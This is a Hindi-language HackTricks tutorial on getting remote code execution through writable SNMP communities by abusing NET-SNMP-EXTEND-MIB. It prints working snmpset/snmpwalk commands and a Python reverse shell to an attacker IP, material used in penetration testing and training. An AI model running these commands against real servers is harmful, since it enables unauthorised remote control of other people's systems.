tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
SNMP RCE
यदि व्यवस्थापक डिवाइस या सर्वर पर इसके डिफ़ॉल्ट कॉन्फ़िगरेशन को नजरअंदाज करता है, तो एक हमलावर SNMP का लाभ उठा सकता है। एक Linux ऑपरेटिंग सिस्टम पर लिखने की अनुमति (rwcommunity) के साथ SNMP समुदाय का दुरुपयोग करके, हमलावर सर्वर पर कमांड निष्पादित कर सकता है।
अतिरिक्त कमांड के साथ सेवाओं का विस्तार करना
SNMP सेवाओं का विस्तार करने और अतिरिक्त कमांड जोड़ने के लिए, "nsExtendObjects" तालिका में नए पंक्तियाँ जोड़ना संभव है। यह snmpset
कमांड का उपयोग करके और आवश्यक पैरामीटर प्रदान करके किया जा सकता है, जिसमें निष्पादन योग्य फ़ाइल का पूर्ण पथ और निष्पादित करने के लिए कमांड शामिल है:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
कमांड्स को निष्पादित करने के लिए इंजेक्ट करना
SNMP सेवा पर चलाने के लिए कमांड्स इंजेक्ट करने के लिए कॉल किए गए बाइनरी/स्क्रिप्ट का अस्तित्व और निष्पादन योग्य होना आवश्यक है। NET-SNMP-EXTEND-MIB
निष्पादन योग्य के लिए पूर्ण पथ प्रदान करने की आवश्यकता करता है।
इंजेक्ट किए गए कमांड के निष्पादन की पुष्टि करने के लिए, snmpwalk
कमांड का उपयोग SNMP सेवा को सूचीबद्ध करने के लिए किया जा सकता है। आउटपुट कमांड और इसके संबंधित विवरण प्रदर्शित करेगा, जिसमें पूर्ण पथ शामिल है:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Injected Commands को चलाना
जब injected command को पढ़ा जाता है, तो इसे निष्पादित किया जाता है। इस व्यवहार को run-on-read()
के रूप में जाना जाता है। कमांड का निष्पादन snmpwalk पढ़ने के दौरान देखा जा सकता है।
SNMP के साथ सर्वर शेल प्राप्त करना
सर्वर पर नियंत्रण प्राप्त करने और एक सर्वर शेल प्राप्त करने के लिए, mxrch द्वारा विकसित एक python स्क्रिप्ट का उपयोग https://github.com/mxrch/snmp-shell.git से किया जा सकता है।
वैकल्पिक रूप से, SNMP में एक विशिष्ट कमांड को इंजेक्ट करके मैन्युअल रूप से एक रिवर्स शेल बनाया जा सकता है। यह कमांड, जो snmpwalk द्वारा ट्रिगर होती है, हमलावर की मशीन के लिए एक रिवर्स शेल कनेक्शन स्थापित करती है, जिससे पीड़ित मशीन पर नियंत्रण प्राप्त होता है। आप इसे चलाने के लिए पूर्व-आवश्यकता स्थापित कर सकते हैं:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
या एक रिवर्स शेल:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।